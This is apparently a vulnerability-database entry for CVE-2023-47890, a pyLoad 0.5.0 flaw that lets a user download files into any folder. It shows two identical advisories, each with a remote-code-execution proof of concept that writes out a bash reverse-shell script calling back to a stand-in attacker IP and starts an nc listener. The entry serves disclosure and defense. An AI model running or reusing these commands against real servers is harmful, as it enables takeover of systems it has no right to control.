CVE-2023-47890
highpriority · track · 35EPSS 0.011 · 64 %ileEUUSEPSS · scored 2026-10-27
pyLoad 0.5.0 is vulnerable to Unrestricted File Upload.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (3)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-h73m-pcfw-25h2Download to arbitrary folder can lead to RCE2023-11-21ghsa · osvUS
### Summary A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts. ### Details When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads. src/pyload/core/api/__init__.py::add_package::L432 ```python folder = ( folder.replace("http://", "") .replace("https://", "") .replace(":", "") .replace("/", "_") .replace("\\", "_") ) ``` So if a package were created with the name ```"../"``` the application would instead create the folder ```"/downloads/.._/"``` However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem. src/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195 ```python id = int(flask.request.form["pack_id"]) data = { "name": flask.request.form["pack_name"], "_folder": flask.request.form["pack_folder"], "password": flask.request.form["pack_pws"], } api.set_package_data(id, data) ``` ### Steps to reproduce 1. Login to a pyLoad instance 2. Go to "Queue" and create a new package with any name and a valid link 3. Click "Edit Package" on the newly created package and set the folder as "/config/scripts/download_finished/" 4. Restart the package 5. Check the server filesystem and note the link was downloaded and stored inside "/config/scripts/download_finished/" ### Remote code execution proof-of-concept It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server. #### On attacker machine 1. Start a web server hosting a malicious script ```bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attacker_ip>/9999 0>&1' > evil.sh&1 sudo python3 -m http.server 80 ``` 2. Start netcat listener for reverse shells ```bash nc -vklp 9999 ``` #### On pyLoad 1. Change pyLoad file permission settings Change permissions of downloads: On Permission mode for downloaded files: 0744 2. Create a package with link pointing to the attacker http://<attacker_ip>/evil.sh 3. Edit package and change folder to /config/scripts/package_deleted/ 4. Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad 5. Delete any package package to trigger the script ### Impact An authenticated user can gain control over the underlying pyLoad server.
- PYSEC-2026-1819Download to arbitrary folder can lead to RCE2026-07-07vendor · osvUS
### Summary A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts. ### Details When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads. src/pyload/core/api/__init__.py::add_package::L432 ```python folder = ( folder.replace("http://", "") .replace("https://", "") .replace(":", "") .replace("/", "_") .replace("\\", "_") ) ``` So if a package were created with the name ```"../"``` the application would instead create the folder ```"/downloads/.._/"``` However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem. src/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195 ```python id = int(flask.request.form["pack_id"]) data = { "name": flask.request.form["pack_name"], "_folder": flask.request.form["pack_folder"], "password": flask.request.form["pack_pws"], } api.set_package_data(id, data) ``` ### Steps to reproduce 1. Login to a pyLoad instance 2. Go to "Queue" and create a new package with any name and a valid link 3. Click "Edit Package" on the newly created package and set the folder as "/config/scripts/download_finished/" 4. Restart the package 5. Check the server filesystem and note the link was downloaded and stored inside "/config/scripts/download_finished/" ### Remote code execution proof-of-concept It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server. #### On attacker machine 1. Start a web server hosting a malicious script ```bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attacker_ip>/9999 0>&1' > evil.sh&1 sudo python3 -m http.server 80 ``` 2. Start netcat listener for reverse shells ```bash nc -vklp 9999 ``` #### On pyLoad 1. Change pyLoad file permission settings Change permissions of downloads: On Permission mode for downloaded files: 0744 2. Create a package with link pointing to the attacker http://<attacker_ip>/evil.sh 3. Edit package and change folder to /config/scripts/package_deleted/ 4. Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad 5. Delete any package package to trigger the script ### Impact An authenticated user can gain control over the underlying pyLoad server.
also known as (6)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (5)
External citations — patches, advisories, analysis.
- http://pyload.comcnnvd
- https://cxsecurity.com/cveshow/CVE-2023-47890/cnnvd
- https://github.com/pyload/pyload/security/advisories/GHSA-h73m-pcfw-25h2cnnvd
- https://github.com/pyload/pyload/security/advisories/GHSA-h73m-pcfw-25h2enisa_euvd
- https://github.com/pyload/pyload/security/advisories/GHSA-h73m-pcfw-25h2ExploitThird Party Advisorynvd
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